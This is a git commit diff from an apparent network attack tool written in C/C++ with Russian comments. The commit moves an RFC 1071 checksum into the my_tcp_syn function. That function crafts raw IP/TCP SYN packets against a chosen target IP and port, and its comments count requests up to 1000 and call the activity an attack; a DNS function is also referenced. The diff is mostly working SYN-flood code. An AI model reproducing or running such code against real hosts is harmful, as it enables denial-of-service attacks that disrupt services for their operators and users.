chore: moved check_sum inside tcp_syn
This commit is contained in:
parent
27d94f1199
commit
9edf137d25
|
@ -423,60 +423,24 @@ int my_dns()
|
|||
printf("end my_dns"); // debug
|
||||
}
|
||||
|
||||
unsigned short checksum(void *data, int len)
|
||||
{
|
||||
/**
|
||||
* Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071)
|
||||
*
|
||||
* Параметры:
|
||||
* data - указатель на данные пакета
|
||||
* len - длина данных в байтах
|
||||
*
|
||||
* Возвращает:
|
||||
* 16-битную инвертированную контрольную сумму
|
||||
*/
|
||||
// === Объявление локальных переменных ===
|
||||
uint16_t *ptr; // Указатель для чтения 16-битных слов
|
||||
unsigned long sum; // Аккумулятор для суммы
|
||||
uint8_t *byte_ptr; // Указатель для чтения одиночного байта
|
||||
// === Инициализация переменных ===
|
||||
ptr = (uint16_t *)data; // Инициализируем указатель на данные
|
||||
sum = 0; // Начальное значение суммы
|
||||
// === Основная логика процедуры ===
|
||||
// Суммируем 16-битные слова
|
||||
while (len > 1) {
|
||||
sum += *ptr++; // Добавляем текущее слово и перемещаем указатель
|
||||
len -= 2; // Уменьшаем счетчик оставшихся байт
|
||||
}
|
||||
if (len == 1) { // Если остался непарный байт, добавляем его в сумму
|
||||
byte_ptr = (uint8_t *)ptr;
|
||||
sum += *byte_ptr;
|
||||
}
|
||||
sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток)
|
||||
return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму
|
||||
}
|
||||
|
||||
|
||||
int my_tcp_syn()
|
||||
{
|
||||
int my_tcp_syn() {
|
||||
/*
|
||||
* Отправляет TCP SYN запрос на указанный IP и порт
|
||||
* Отправляет TCP SYN запрос на указанный IP и порт
|
||||
* status:
|
||||
* 0 - запрос успешно отправлен (атака продолжается)
|
||||
* 2 - достигнуто максимальное количество запросов (1000)
|
||||
* -201 - ошибка создания raw-сокета
|
||||
* -202 - ошибка отправки SYN-пакета
|
||||
* 0 - запрос успешно отправлен (атака продолжается)
|
||||
* 2 - достигнуто максимальное количество запросов (1000)
|
||||
* -201 - ошибка создания raw-сокета
|
||||
* -202 - ошибка отправки SYN-пакета
|
||||
*/
|
||||
printf("start my_tcp_syn"); // debug
|
||||
|
||||
|
||||
// === Объявление локальных переменных ===
|
||||
int sock; // Основной raw-сокет для отправки пакетов
|
||||
int one; // Флаг для setsockopt
|
||||
// Структуры для адресов
|
||||
struct sockaddr_in target_addr; // Адрес цели
|
||||
// Параметры подключения
|
||||
uint16_t target_port = 0; // Порт цели (в сетевом порядке байт)
|
||||
uint16_t target_port; // Порт цели (в сетевом порядке байт)
|
||||
// Структуры заголовков
|
||||
struct iphdr ip_header; // IP-заголовок пакета
|
||||
struct tcphdr tcp_header; // TCP-заголовок пакета
|
||||
|
@ -491,6 +455,12 @@ int my_tcp_syn()
|
|||
// Буферы данных
|
||||
char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы
|
||||
char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет
|
||||
|
||||
// Переменные для встроенного расчета контрольной суммы
|
||||
uint16_t *checksum_ptr;
|
||||
unsigned long checksum_sum;
|
||||
uint8_t *checksum_byte_ptr;
|
||||
int checksum_len;
|
||||
|
||||
// === Инициализация переменных ===
|
||||
sock = -1;
|
||||
|
@ -515,7 +485,10 @@ int my_tcp_syn()
|
|||
// 3. Настройка адреса цели
|
||||
memset(&target_addr, 0, sizeof(target_addr));
|
||||
target_addr.sin_family = AF_INET;
|
||||
inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0
|
||||
if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) {
|
||||
close(sock);
|
||||
return -202;
|
||||
}
|
||||
|
||||
// 4. Формирование IP заголовка
|
||||
memset(&ip_header, 0, sizeof(ip_header));
|
||||
|
@ -546,7 +519,24 @@ int my_tcp_syn()
|
|||
};
|
||||
memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header));
|
||||
memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr));
|
||||
tcp_header.check = checksum(temp_buf, sizeof(temp_buf));
|
||||
|
||||
// Встроенный расчет контрольной суммы
|
||||
checksum_ptr = (uint16_t *)temp_buf;
|
||||
checksum_sum = 0;
|
||||
checksum_len = sizeof(temp_buf);
|
||||
|
||||
while (checksum_len > 1) {
|
||||
checksum_sum += *checksum_ptr++;
|
||||
checksum_len -= 2;
|
||||
}
|
||||
|
||||
if (checksum_len == 1) {
|
||||
checksum_byte_ptr = (uint8_t *)checksum_ptr;
|
||||
checksum_sum += *checksum_byte_ptr;
|
||||
}
|
||||
|
||||
checksum_sum = (checksum_sum >> 16) + (checksum_sum & 0xFFFF);
|
||||
tcp_header.check = (unsigned short)(~checksum_sum);
|
||||
|
||||
// 7. Сборка пакета
|
||||
memcpy(packet, &ip_header, sizeof(iphdr));
|
||||
|
@ -554,7 +544,7 @@ int my_tcp_syn()
|
|||
|
||||
// 8. Отправка пакета
|
||||
if (sendto(sock, packet, sizeof(packet), 0,
|
||||
(struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
|
||||
(struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
|
||||
n_fail_requests++;
|
||||
return -202;
|
||||
} else {
|
||||
|
@ -566,7 +556,7 @@ int my_tcp_syn()
|
|||
return 2;
|
||||
}
|
||||
|
||||
|
||||
|
||||
close(sock);
|
||||
printf("end my_tcp_syn"); // debug
|
||||
return 0;
|
||||
|
@ -801,4 +791,4 @@ int main(int arg_ctr, char **arg_ptr)
|
|||
}
|
||||
|
||||
return 0; // Возвращаем код успешного завершения
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue